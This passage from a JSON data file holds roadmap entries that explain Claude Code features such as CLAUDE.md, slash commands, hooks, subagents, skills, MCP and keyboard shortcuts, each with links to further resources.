  {
    "path": "src/data/roadmaps/claude-code/content/claudemd@TCWd5vobMAhP7I97Q1rTq.md",
    "content": "# CLAUDE.md\n\n[CLAUDE.md](http://CLAUDE.md) is a project-specific markdown file that acts as the \"persistent memory\" and onboarding manual for Claude Code, ensuring the AI adheres to your unique development standards across every session. Since Claude begins each new interaction with a blank context, this file is automatically read at launch to provide essential project \"WHY, WHAT, and HOW\".\n\nVisit the following resources to learn more:\n\n- [@official@Manage Claude's memory](https://code.claude.com/docs/en/memory#manage-claudes-memory)\n- [@article@The Complete Guide to CLAUDE.md](https://www.builder.io/blog/claude-md-guide)\n- [@article@What is the point of CLAUDE.md? : r/ClaudeAI](https://www.reddit.com/r/ClaudeAI/comments/1nokaln/what_is_the_point_of_claudemd/)\n- [@video@How to Use CLAUDE.md in Claude Code in 5 Minutes](https://www.youtube.com/watch?v=h7QJL2_gEXA)\n- [@video@CLAUDE.md & /init](https://www.youtube.com/watch?v=i_OHQH4-M2Y&list=PL4cUxeGkcC9g4YJeBqChhFJwKQ9TRiivY)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/clear@N4YM2lqDcic5AiYgv0eRZ.md",
    "content": "# /clear\n\nThe `/clear` command is a utility tool that removes all previous messages, tool outputs, and file contents from the active conversation history. It wipes the current context, allowing you to start a fresh dialogue with the AI without exiting the application or losing your current working directory settings. This is particularly useful for reducing token costs and preventing \"context drift,\" where the AI might become confused by old instructions or irrelevant code snippets from a previous task.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@article@Claude Code Context Guide: Master CLAUDE.md & /clear](https://www.arsturn.com/blog/beyond-prompting-a-guide-to-managing-context-in-claude-code)\n- [@article@In claude code, what is the difference between doing /clear and starting a new chat? : r/ClaudeAI](https://www.reddit.com/r/ClaudeAI/comments/1myr717/in_claude_code_what_is_the_difference_between/)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/code-intelligence@qg6ZTF0LCz5zo5G1a3BEf.md",
    "content": "# Code Intelligence Plugin\n\nCode Intelligence plugins extend the CLI's native search capabilities by integrating with the Language Server Protocol (LSP), granting Claude the same \"IDE-level\" awareness found in modern editors.\n\nVisit the following resources to learn more:\n\n- [@official@Code intelligence](https://code.claude.com/docs/en/discover-plugins#code-intelligence)\n- [@official@LSP server](https://code.claude.com/docs/en/plugins-reference#lsp-servers)\n- [@article@Language Server Protocol](https://microsoft.github.io/language-server-protocol/)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/common-usecases@rGtz0Nw4BgOrdm3WUmjwZ.md",
    "content": "# Common Usecases\n\nClaude Code can be used for a wide range of professional software development tasks, from legacy system modernization and large-scale refactoring to rapid prototyping for startups. Organizations use it to navigate and modernize massive codebases containing millions of lines of code, while data science teams employ it to convert exploratory research from notebooks into production-ready data pipelines. In daily engineering workflows, it is frequently applied to automate unit testing, diagnose complex bugs using stack traces, and manage dependency upgrades across entire repositories. Additionally, it has become a powerful tool for infrastructure automation, where DevOps teams use it to manage Kubernetes clusters, configure monitoring systems, and build CI/CD pipelines through natural language instructions.\n\nVisit the following resources to learn more:\n\n- [@official@What you can do](https://code.claude.com/docs/en/overview#what-you-can-do)\n- [@official@Common workflows](https://code.claude.com/docs/en/common-workflows)\n- [@article@20+ Real Use Cases That Prove Claude Code Is a Game-Changer](https://medium.com/@agencyai/20-real-use-cases-that-prove-claude-code-is-a-game-changer-46ceefaf19ed)\n- [@video@8 Insane Claude Code Use Cases (code anything!)](https://www.youtube.com/watch?v=akIHv-n--io)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/community-tools@e12uqC2SEzaMfmBbz7VZf.md",
    "content": "# Community Tools\n\nCommunity tools extend Claude Code's capabilities by integrating it with external platforms via the Model Context Protocol (MCP) and specialized plugins. These integrations allow the assistant to interact directly with services like GitHub for managing pull requests, Slack for sending project updates, and Jira or Linear for tracking issues. Beyond official offerings, the community has developed numerous third-party extensions, which can be easily added via the `/plugin` command.\n\nVisit the following resources to learn more:\n\n- [@official@Conductor](https://docs.conductor.build/)\n- [@article@A Hands-On Review of Conductor, an AI Parallel Runner App](https://thenewstack.io/a-hands-on-review-of-conductor-an-ai-parallel-runner-app/)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/compact@65s0P7d39fFR2yhy4JKEZ.md",
    "content": "# /compact\n\nThe `/compact` command is a context management tool designed to optimize your session's memory when the context window begins to fill up. Instead of completely wiping your history like `/clear`, `/compact` instructs Claude to generate a concise summary of the key decisions, code changes, and project state established so far. It then replaces the bulky, line-by-line conversation history with this summarized version, effectively \"compressing\" the tokens used while preserving the essential knowledge the AI needs to continue the task.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@article@What Actually Happens When You Run /compact in Claude Code](https://dev.to/rigby_/what-actually-happens-when-you-run-compact-in-claude-code-3kl9)\n- [@video@3 Ways to Fix Claude Code's Context](https://www.youtube.com/watch?v=yBLwsBKPYSw)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/config@UOSXh1o8bRY8Wcm6uYIgR.md",
    "content": "# /config\n\nThe `/config` command is the central management tool for customizing your Claude Code experience and fine-tuning how the assistant interacts with your system. Running this command opens an interactive menu—or allows for direct terminal arguments—to modify global and project-specific settings such as default models, theme preferences, and permission levels.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@official@Claude Code settings](https://code.claude.com/docs/en/settings)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/connecting-tools-with-mcp@OBtJvLaEV3giUhvGFofKv.md",
    "content": "# Connecting Tools with MCP\n\nModel Context Protocol (MCP) transforms Claude Code from a local file editor into a connected agent capable of interacting with your entire tech stack, from Jira tickets to live databases. Acting like a \"USB-C port for AI,\" MCP provides a standardized bridge that allows Claude to discover and execute external functions without requiring custom-coded integrations for every service.\n\nVisit the following resources to learn more:\n\n- [@course@Model Context Protocol: Advanced Topics](https://anthropic.skilljar.com/model-context-protocol-advanced-topics)\n- [@official@Connect Claude Code to tools via MCP](https://code.claude.com/docs/en/mcp)\n- [@article@What is the Model Context Protocol (MCP)?](https://modelcontextprotocol.io/docs/getting-started/intro)\n- [@video@Claude Code MCP: How to Add MCP Servers (Complete Guide)](https://www.youtube.com/watch?v=DfWHX7kszQI)\n- [@video@Claude Code Tutorial #7 - MCP Servers](https://www.youtube.com/watch?v=X7lgIa6guKg)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/context@6UHAXR4praMqGiEUgWAt8.md",
    "content": "# /context\n\nThe `/context` command is a diagnostic tool that provides a technical breakdown of how the model's context window is currently allocated, using a colored grid. While commands like `/usage` show you the \"how much,\" `/context` shows you the \"what.\" It lists every file, conversation turn, and tool result currently being held in the AI's active memory, allowing you to see exactly which resources are consuming tokens.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@article@Monitor Token Usage with the /context Command](https://wmedia.es/en/tips/claude-code-context-command-token-usage)\n- [@video@3 Ways to Fix Claude Code's Context](https://www.youtube.com/watch?v=yBLwsBKPYSw)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/context@C5tCsAJQxq2d-fOrjjloB.md",
    "content": "# Context\n\nA context window is the total amount of information a model can hold in its active memory at one time, including your conversation history, the files it has read, and the results of any terminal commands it has executed. It functions like a temporary workspace where every word and symbol (counted as tokens) fills up a limited capacity. As this window fills, Claude Code may begin to \"forget\" earlier details or become less accurate, which is why managing context through commands like `/compact` is essential to keep responses sharp and costs under control.\n\nVisit the following resources to learn more:\n\n- [@official@The context window](https://code.claude.com/docs/en/how-claude-code-works#the-context-window)\n- [@official@How large is the context window on paid Claude plans?](https://support.claude.com/en/articles/8606394-how-large-is-the-context-window-on-paid-claude-plans)\n- [@article@What is a context window? | IBM](https://www.ibm.com/think/topics/context-window)\n- [@video@Claude Code’s Memory Problem (Solved in 12 Minutes) - YouTube](https://www.youtube.com/watch?v=c0g_wYux6X4&t=39s)\n- [@video@3 Ways to Fix Claude Code's Context - YouTube](https://www.youtube.com/watch?v=yBLwsBKPYSw)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/cost@vw9cc6_33nHnNPNyhLo_d.md",
    "content": "# /cost\n\nThe `/cost` command is a financial monitoring tool that provides a real-time snapshot of the monetary expenses and token usage for your active session. While the `/usage` command focuses on how much of your context window is occupied, /cost translates that activity into USD amounts, showing you exactly how much your current conversation has cost based on your API pricing tier.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@official@Using the /cost command](https://code.claude.com/docs/en/costs)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/creating-skills@6WsAQV_e_2XJKl2KlN2dl.md",
    "content": "# Creating Custom Skills\n\nTo create a custom skill in Claude Code, you must establish a new folder within the `.claude/skills/` directory containing a `SKILL.md` file that defines the skill's identity and logic. This file begins with a YAML frontmatter block containing a unique `name` and a detailed `description`, which Claude uses as a trigger to \"know\" when to activate the skill, and can include an optional `disable-model-invocation: true` flag if you want the skill to run as a manual, deterministic workflow rather than an autonomous one.\n\nVisit the following resources to learn more:\n\n- [@course@Agent Skills with Anthropic](https://www.deeplearning.ai/short-courses/agent-skills-with-anthropic/)\n- [@official@Extend Claude with skills](https://code.claude.com/docs/en/skills#extend-claude-with-skills)\n- [@official@How to create custom Skills](https://support.claude.com/en/articles/12512198-how-to-create-custom-skills)\n- [@article@Claude Code Skills — Equipping Your Claude Code Agents with more Superpowers](https://medium.com/@ooi_yee_fei/claude-code-skills-superpowering-claude-code-agents-a42b44a58ae2)\n- [@article@Build Your First Claude Code Agent Skill: A Simple Project Memory System That Saves Hours](https://pub.spillwave.com/build-your-first-claude-code-skill-a-simple-project-memory-system-that-saves-hours-1d13f21aff9e)\n- [@video@Claude Code Skills & skills.sh - Crash Course](https://www.youtube.com/watch?v=rcRS8-7OgBo)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/creating-subagents@HnrD1-Wc39ZRH5R6bptqX.md",
    "content": "# Creating Subagents\n\nTo create a Subagent in Claude Code, you must define a specialized assistant within a Markdown file located in the `.claude/agents/` directory, using YAML frontmatter to specify its `name`, `description`, `model`, and a restricted set of `tools`.\n\nVisit the following resources to learn more:\n\n- [@official@Create custom subagents](https://code.claude.com/docs/en/sub-agents)\n- [@article@Building with Claude Code Subagents (My Beloved Minions)](https://medium.com/@ooi_yee_fei/building-with-claude-code-subagents-my-beloved-minions-b5a9a4318ba5)\n- [@article@Sub Agents are a GAME CHANGER! Here is how I made some that work exceptionally well for me! : r/ClaudeCode](https://www.reddit.com/r/ClaudeCode/comments/1m8r9ra/sub_agents_are_a_game_changer_here_is_how_i_made/)\n- [@video@Claude Code Tutorial #8 - Subagents](https://www.youtube.com/watch?v=Phr7vBx9yFQ)\n- [@video@Master Claude Code Sub‑Agents in 10 Minutes](https://www.youtube.com/watch?v=mEt-i8FunG8)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/ctrlc@dD0TlpfC4GzYWINplekKw.md",
    "content": "# Ctrl+C\n\n`Ctrl+C` is a keyboard shortcut that immediately sends an interrupt signal to the Claude Code terminal to stop its current activity. It is primarily used to halt a long-running process, such as an accidental infinite loop in your code, a search that is taking too long, or a lengthy model response that you realized was going in the wrong direction. This provides a manual \"kill switch\" that is essential for maintaining control over the agent's actions and preventing the unnecessary consumption of tokens and time.\n\nVisit the following resources to learn more:\n\n- [@official@Interactive mode - Claude Code Docs](https://code.claude.com/docs/en/interactive-mode)\n- [@article@How I use Claude Code (+ my best tips)](https://www.builder.io/blog/claude-code)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/ctrlr@R7YJyNd0taUVJvXDPHBn5.md",
    "content": "# Ctrl+R\n\n`Ctrl+R` is a terminal shortcut that opens the command history search, allowing you to quickly find and reuse previous prompts or terminal commands you have typed during your session. Instead of manually retyping complex instructions or scrolling back through hundreds of lines of output, you can press `Ctrl+R` and start typing a few letters to filter your recent activity until the correct entry is highlighted. Once you find the desired command, you can press `Enter` to run it immediately or use the arrow keys to edit the text before execution.\n\nVisit the following resources to learn more:\n\n- [@official@Interactive mode - Claude Code Docs](https://code.claude.com/docs/en/interactive-mode)\n- [@official@Reverse search with Ctrl+R](https://code.claude.com/docs/en/interactive-mode#reverse-search-with-ctrl+r)\n- [@article@Ctrl+R: Stop Retyping That Perfect Prompt You Wrote Last Week - DEV Community](https://dev.to/rajeshroyal/ctrlr-stop-retyping-that-perfect-prompt-you-wrote-last-week-19ae)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/customize-status-line@xEu9-kBz5SbM3Mrrwu446.md",
    "content": "# Customize Status Line\n\nClaude Code allows you to personalize your terminal environment by customizing the status line, which is the persistent information bar at the bottom of the interface. You can keep essential data like real-time session costs or context usage percentages visible at all times, helping you manage your budget and \"context rot\" without manually running diagnostic commands.\n\nVisit the following resources to learn more:\n\n- [@official@Customize Status Line](https://code.claude.com/docs/en/statusline)\n- [@video@Your Claude Code Terminal Should Look Like This](https://www.youtube.com/watch?v=fiZfVTsPy-w)\n- [@video@Claude Code StatusLine Explained (Free Script Generator)](https://www.youtube.com/watch?v=PB9_Q2tfe90)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/desktop-app@rIG8F-Rc-fMeXZ5n0UTwi.md",
    "content": "# Claude Code Desktop\n\nClaude Code desktop is a software application that allows an AI assistant to interact directly with your local files and development tools through a graphical interface. It functions as an agentic coding partner that can read your codebase, edit files, and execute terminal commands to help build features or fix bugs in real time.\n\nVisit the following resources to learn more:\n\n- [@official@Claude Code on desktop](https://code.claude.com/docs/en/desktop)\n- [@article@I Discovered Claude Code Desktop: The (New) Way to Build Faster Than Your Terminal](https://medium.com/@joe.njenga/i-discovered-claude-code-desktop-the-new-way-to-build-faster-than-your-terminal-1679aa6ce790)\n- [@video@Claude Code on desktop](https://www.youtube.com/watch?v=zrcCS9oHjtI)\n- [@video@Claude Code for Desktop is the BEST way to build apps with AI EVER](https://www.youtube.com/watch?v=pZ2N7CJFbBk)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/doctor@IzHlnmGAqG1lpwuX1Oh4p.md",
    "content": "# /doctor\n\nThe `/doctor` command is a diagnostic utility used to troubleshoot and verify the health of your Claude Code installation and its environment. When executed, it runs a series of automated checks to ensure that your authentication tokens are valid, your network connection to the Anthropic servers is stable, and all required system dependencies—like Git and Node.js—are correctly configured. If the tool detects an issue, such as a missing binary or an expired session, it provides a detailed error report and suggested steps to resolve the problem immediately.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@article@Claude Code Installation Guide: Using irm Script, npm Setup, and https://claude.ai/install.ps1 Script](https://vibecodingwithfred.com/blog/claude-code-installation-guide/)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/editor-extensions@ONhEanq8I2RE-Jc_YY3Wa.md",
    "content": "# CLaude Code in Code Editor\n\nIDE extensions allow you to use Claude Code directly within popular development environments like Visual Studio Code and the JetBrains family (including IntelliJ IDEA, PyCharm, and WebStorm). These extensions provide a graphical sidebar and inline diff viewers, enabling you to review proposed code changes side-by-side with your existing files. By integrating with the IDE, Claude gains automatic awareness of your active workspace, current file selection, and even terminal error messages, which eliminates the need to manually copy and paste context.\n\nVisit the following resources to learn more:\n\n- [@official@Use Claude Code in VS Code](https://code.claude.com/docs/en/vs-code)\n- [@official@JetBrains IDEs - Claude Code Docs](https://code.claude.com/docs/en/jetbrains)\n- [@official@Enabling Claude Code to work more autonomously \\ Anthropic](https://www.anthropic.com/news/enabling-claude-code-to-work-more-autonomously)\n- [@article@Introducing Claude Agent in JetBrains IDEs](https://blog.jetbrains.com/ai/2025/09/introducing-claude-agent-in-jetbrains-ides/)\n- [@video@How to Install Claude Code in VS Code in 3 Minutes](https://www.youtube.com/watch?v=ph5DRCX_g6s)\n- [@video@Introducing Claude Agent in JetBrains IDEs](https://www.youtube.com/watch?v=k3XsDxMYCHQ)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/esc--esc@8xqKBvdDfTLeZXeGeqQZr.md",
    "content": "# Esc + Esc\n\nDouble-tapping the `Esc` key in Claude Code activates the Rewind feature, which serves as a temporal navigation system for both your conversation history and your code state. When triggered, it opens an interactive menu that allows you to jump back to any previous prompt in the session, effectively acting as a \"undo\" button for AI-driven development. You can choose to restore only the conversation (useful for refining instructions without losing current file edits), restore only the code (to revert specific file changes while keeping the chat context), or restore both to a verified checkpoint. This shortcut is particularly valuable for experimental coding because it automatically creates local checkpoints before every change, allowing you to quickly discard an entire branch of reasoning or a failed implementation without manually restoring individual files or managing Git commits.\n\nVisit the following resources to learn more:\n\n- [@official@Interactive mode - Claude Code Docs](https://code.claude.com/docs/en/interactive-mode#reverse-search-with-ctrl+r)\n- [@official@Checkpointing - Claude Code Docs](https://code.claude.com/docs/en/checkpointing)\n- [@article@Your Time Machine for Code: Double Esc to Rewind When Things Go Wrong - DEV Community](https://dev.to/rajeshroyal/your-time-machine-for-code-double-esc-to-rewind-when-things-go-wrong-53pa)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/esc@2pu6b0Z5BQAz44Hx69Pzk.md",
    "content": "# Esc Command\n\nThe `Esc` key is a navigation shortcut used to exit current menus, cancel active inputs, or clear the command line. If you are in the middle of typing a long prompt and want to start over, pressing Esc will wipe the input field clean, and if you have a dropdown menu or a multi-select list open—such as when choosing files to add to context—it will close that menu without making a selection. This shortcut provides a quick way to reset your immediate interface state without interrupting the underlying AI process or closing the terminal session entirely.\n\nVisit the following resources to learn more:\n\n- [@official@Interactive mode - Claude Code Docs](https://code.claude.com/docs/en/interactive-mode)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/exit@MjZUaSJLSU5nDMgDJaWUh.md",
    "content": "# /exit\n\nThe `/exit` command is a built-in utility used to safely terminate your current Claude Code session and return you to your standard terminal prompt. Unlike force-quitting the application, using this command ensures that the system performs a clean shutdown, which includes saving your conversation history and updating any local session metadata so that you can resume your work later using the `claude -c` flag.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/export@eLlCNxa6bqQW0JsHxIdOa.md",
    "content": "# /export\n\nThe `/export` command is a data utility that allows you to save your entire current conversation history into a single file on your local machine. This command generates a Markdown-formatted document containing all your prompts, the AI's responses, and the results of any code changes or terminal commands executed during the session. It is designed for documentation and knowledge sharing, enabling you to archive successful debugging sessions, create project reports, or share a complex implementation logic with teammates who do not have access to your local terminal history.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@article@1.0.44 has new /export command : r/ClaudeAI](https://www.reddit.com/r/ClaudeAI/comments/1lw5r1l/1044_has_new_export_command/)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/git-worktrees@wxkAkdKFTwbNJEfwA9tGl.md",
    "content": "# Git Worktrees\n\nUsing Git worktrees with Claude Code is a powerful scaling technique that allows you to run multiple independent AI sessions in parallel without the overhead of context switching or the risk of file-edit collisions. This workflow is highly efficient for \"fanning out\" tasks: you can supervise several separate worktrees simultaneously, leveraging prompt caching across them for shared codebase context, and simply delete the worktree folder once the branch is merged to keep your environment clean.\n\nVisit the following resources to learn more:\n\n- [@official@Run parallel Claude Code sessions with Git worktrees](https://code.claude.com/docs/en/common-workflows#run-parallel-claude-code-sessions-with-git-worktrees)\n- [@official@git-worktrees](https://git-scm.com/docs/git-worktree)\n- [@article@Parallel Development with ClaudeCode and Git Worktrees](https://medium.com/@ooi_yee_fei/parallel-ai-development-with-git-worktrees-f2524afc3e33)\n- [@article@Using Git Worktrees for Parallel AI Development](https://stevekinney.com/courses/ai-development/git-worktrees)\n- [@video@Git Worktrees: The secret sauce to Claude Code!](https://www.youtube.com/watch?v=up91rbPEdVc)\n- [@video@Claude Code & Git Worktrees: How to Run Claude Code in parallel with Git Worktrees](https://www.youtube.com/watch?v=an-Abb7b2XM)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/haiku@y_euG-Rzj-OmCZhvMXegc.md",
    "content": "# Haiku\n\nClaude Haiku is the fastest and most cost-effective model in the Claude family, specifically engineered for high-speed, high-volume tasks that require near-instant responsiveness. It provides a compact but powerful solution for real-time applications like customer service chatbots, rapid data extraction, and moderating large content streams where low latency is critical.\n\nVisit the following resources to learn more:\n\n- [@official@Introducing Claude Haiku 4.5](https://www.anthropic.com/news/claude-haiku-4-5)\n- [@official@Claude Haiku 4.5](https://www.anthropic.com/claude/haiku)\n- [@video@Introducing Claude Haiku 4.5](https://www.youtube.com/watch?v=ccQSHQ3VGIc)\n- [@video@Anthropic’s Claude Haiku 4.5 in 6 Minutes](https://www.youtube.com/watch?v=jC_rX86O1Q8)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/headless-mode@FP6Lc-zqmP8yzBytuSsUc.md",
    "content": "# Headless mode\n\nHeadless mode in Claude Code, enabled by the `-p` (or `--print`) flag, transforms the interactive terminal assistant into a programmable Unix-style utility designed for automation and CI/CD pipelines.\n\nVisit the following resources to learn more:\n\n- [@official@Run Claude Code programmatically](https://code.claude.com/docs/en/headless)\n- [@article@Headless Mode: Unleash AI in Your CI/CD Pipeline](https://dev.to/rajeshroyal/headless-mode-unleash-ai-in-your-cicd-pipeline-1imm)\n- [@video@Building headless automation with Claude Code | Code w/ Claude](https://www.youtube.com/watch?v=dRsjO-88nBs)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/help@I4i_fKzuBy5pTC0JXyEl-.md",
    "content": "# /help\n\nThe `/help` command is an interactive directory that provides a comprehensive list of all available slash commands, keyboard shortcuts, and system features. When you type it, Claude Code displays a searchable guide that explains how to use tools such as context management, file mentions, and permission modes. It is designed to be a quick-access manual that helps you discover advanced functionality or refresh your memory of syntax without leaving your terminal or consulting external documentation.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@video@Claude Code Tutorial #6 - Slash Commands](https://www.youtube.com/watch?v=52KBhQqqHuc&t=1s)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/hook-events--matchers@nq8aLrgh7qNQnwZbS7d9Z.md",
    "content": "# Hook Events & Matchers\n\nIn Claude Code, Hook Events represent the specific lifecycle moments when custom logic can be triggered, while Matchers act as the regex-based filters that determine which specific actions within those moments should fire the hook.\n\nVisit the following resources to learn more:\n\n- [@official@Hook Events](https://code.claude.com/docs/en/hooks#hook-events)\n- [@official@Event Matchers](https://code.claude.com/docs/en/hooks#matcher-patterns)\n- [@article@Hooks: Automating Event Reactions](https://angelo-lima.fr/en/claude-code-hooks/)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/hook-inputs--outputs@Gwsh4g1SxI2hJcS84p9it.md",
    "content": "# Hook Inputs & Outputs\n\nHooks communicate via a standardized JSON interface: Inputs are passed to the hook via `stdin`, and Outputs are returned via `stdout` to influence the agent's next move. The input payload typically includes a `context` object containing session metadata and event-specific data, such as the `tool` name and its arguments (e.g., the exact code being written or command being run). To respond, your hook must return a JSON object.\n\nVisit the following resources to learn more:\n\n- [@official@Hook Inputs & Outputs](https://code.claude.com/docs/en/hooks#hook-input-and-output)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/hook-types@uC2PkMsCK-vaBo5Ygha2P.md",
    "content": "# Hook Types\n\nIn Claude Code, you can configure three distinct handler types for your hooks—Command, Prompt, and Agent—depending on whether you need a script, an AI \"judgement call,\" or a specialized researcher to validate actions. Command hooks (`type: \"command\"`) are deterministic shell scripts that execute standard commands (like `npm run lint`) and use exit codes to either approve the action or block it with an error message. Prompt hooks (`type: \"prompt\"`) use a lightweight Claude model for single-turn evaluation, where the model analyzes the context (e.g., \"Is this commit message descriptive?\") and returns a simple JSON yes/no decision. Finally, Agent hooks (`type: \"agent\"`) are the most sophisticated, spawning a multi-turn subagent with tool access (like `Read` or `Grep`) to conduct deep, autonomous verification before deciding if the main agent should proceed.\n\nVisit the following resources to learn more:\n\n- [@official@Hook Types](https://code.claude.com/docs/en/hooks)\n- [@official@Prompt-based hooks](https://code.claude.com/docs/en/hooks-guide#prompt-based-hooks)\n- [@official@Agent-based hooks](https://code.claude.com/docs/en/hooks-guide#agent-based-hooks)\n- [@official@Automate workflows with hooks](https://code.claude.com/docs/en/hooks-guide)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/hooks@801KNtjf61FTiLS1yrDSB.md",
    "content": "# Hooks\n\nHooks are automated triggers that execute specific scripts or commands at key points in the AI's workflow, such as before or after the assistant performs a task. These hooks allow developers to enforce project standards and ensure system reliability without manual intervention, much like Git hooks but designed for an AI-driven development cycle.\n\nVisit the following resources to learn more:\n\n- [@official@Automate workflows with hooks - Claude Code Docs](https://code.claude.com/docs/en/hooks-guide)\n- [@article@Claude Code Hooks: A Practical Guide to Workflow Automation | DataCamp](https://www.datacamp.com/tutorial/claude-code-hooks)\n- [@article@Automate Your AI Workflows with Claude Code Hooks | Butler's Log](https://blog.gitbutler.com/automate-your-ai-workflows-with-claude-code-hooks)\n- [@video@How Claude Code Hooks Save Me HOURS Daily](https://www.youtube.com/watch?v=Q4gsvJvRjCU)\n- [@video@Claude Code hooks are Officially Awesome](https://www.youtube.com/watch?v=eFjqogpmNkQ)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/hooks@OTpU2G6mnbkFhthKAkxlM.md",
    "content": "# /hooks\n\nThe `/hooks` command opens an interactive management menu for configuring automated workflows that trigger at specific points in the Claude Code lifecycle. While features like `CLAUDE.md` provide \"soft\" instructions, hooks offer deterministic control, ensuring that specific shell commands or AI evaluations run every single time a certain event occurs—such as formatting code after an edit or sending a notification when Claude needs your attention.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@official@Hooks reference](https://code.claude.com/docs/en/hooks)\n- [@official@The /hooks menu](https://code.claude.com/docs/en/hooks#the-hooks-menu)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/hooks@qPH0w52-8MvzZdFdsNMap.md",
    "content": "# Hooks\n\nHooks are automated triggers that execute specific scripts or commands at key points in the AI's workflow, such as before or after the assistant performs a task. These hooks allow developers to enforce project standards and ensure system reliability without manual intervention, much like Git hooks but designed for an AI-driven development cycle.\n\nVisit the following resources to learn more:\n\n- [@official@Automate workflows with hooks - Claude Code Docs](https://code.claude.com/docs/en/hooks-guide)\n- [@article@Claude Code Hooks: A Practical Guide to Workflow Automation | DataCamp](https://www.datacamp.com/tutorial/claude-code-hooks)\n- [@article@Automate Your AI Workflows with Claude Code Hooks | Butler's Log](https://blog.gitbutler.com/automate-your-ai-workflows-with-claude-code-hooks)\n- [@video@How Claude Code Hooks Save Me HOURS Daily](https://www.youtube.com/watch?v=Q4gsvJvRjCU)\n- [@video@Claude Code hooks are Officially Awesome](https://www.youtube.com/watch?v=eFjqogpmNkQ)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/how-to-structure@7ZD0nOke-7vqaibxBx24Y.md",
    "content": "# How to Structure CLAUDE.md\n\nTo write an effective [CLAUDE.md](http://CLAUDE.md), you should treat it as a concise, persistent \"source of truth\" that provides Claude with the project-specific context it cannot infer from the code alone. The file should be kept short and human-readable, focusing on non-obvious information like unique bash commands for building and testing, repository-specific code styles, and architectural decisions.\n\nVisit the following resources to learn more:\n\n- [@official@Write an effective CLAUDE.md](https://code.claude.com/docs/en/best-practices#write-an-effective-claude-md)\n- [@article@How to structure your CLAUDE.md file](https://www.builder.io/blog/claude-md-guide)\n- [@article@How we structure our CLAUDE.md file (and why) : r/ClaudeAI](https://www.reddit.com/r/ClaudeAI/comments/1mecx5t/how_we_structure_our_claudemd_file_and_why/)\n- [@article@# Writing a good CLAUDE.md](https://www.humanlayer.dev/blog/writing-a-good-claude-md)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/init@oucDNnTIc8gv3dlEibDB2.md",
    "content": "# /init\n\nThe `/init` command is the initialization utility used to set up Claude Code for a specific project directory. When you run this command, it creates a [CLAUDE.md](http://CLAUDE.md) file in your current folder. This file serves as the \"foundation\" for the assistant, allowing you to define project-specific coding standards, build commands, and test suites that Claude will automatically reference in every future session within that repository.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@official@Write an effective CLAUDE.md](https://code.claude.com/docs/en/best-practices#write-an-effective-claude-md)\n- [@article@Build your own /init command like Claude Code](https://kau.sh/blog/build-ai-init-command/)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/introduction@RqfeqVMhTSdC4w4GcsETP.md",
    "content": "# What is Claude Code?\n\nClaude Code is an AI-powered coding tool developed by Anthropic that operates directly in the terminal. Unlike traditional autocomplete tools, Claude Code functions as an autonomous agent capable of understanding entire codebases, executing multi-step tasks, and maintaining context across complex projects. By understanding the entire codebase, Claude Code helps simplify workflows, making it a powerful tool for software development.\n\nVisit the following resources to learn more:\n\n- [@course@Claude Code in Action](https://anthropic.skilljar.com/claude-code-in-action)\n- [@official@Claude Code overview](https://code.claude.com/docs/en/overview)\n- [@official@How Claude Code works](https://code.claude.com/docs/en/how-claude-code-works)\n- [@article@What is Claude Code? The AI coding tool anyone can use](https://zapier.com/blog/claude-code/)\n- [@article@Claude Code: A Guide With Practical Examples](https://www.datacamp.com/tutorial/claude-code)\n- [@video@Claude Code Tutorial for Beginners](https://www.youtube.com/watch?v=eMZmDH3T2bY)\n- [@video@Claude Code Tutorial](https://www.youtube.com/playlist?list=PL4cUxeGkcC9g4YJeBqChhFJwKQ9TRiivY)"
  },
  {
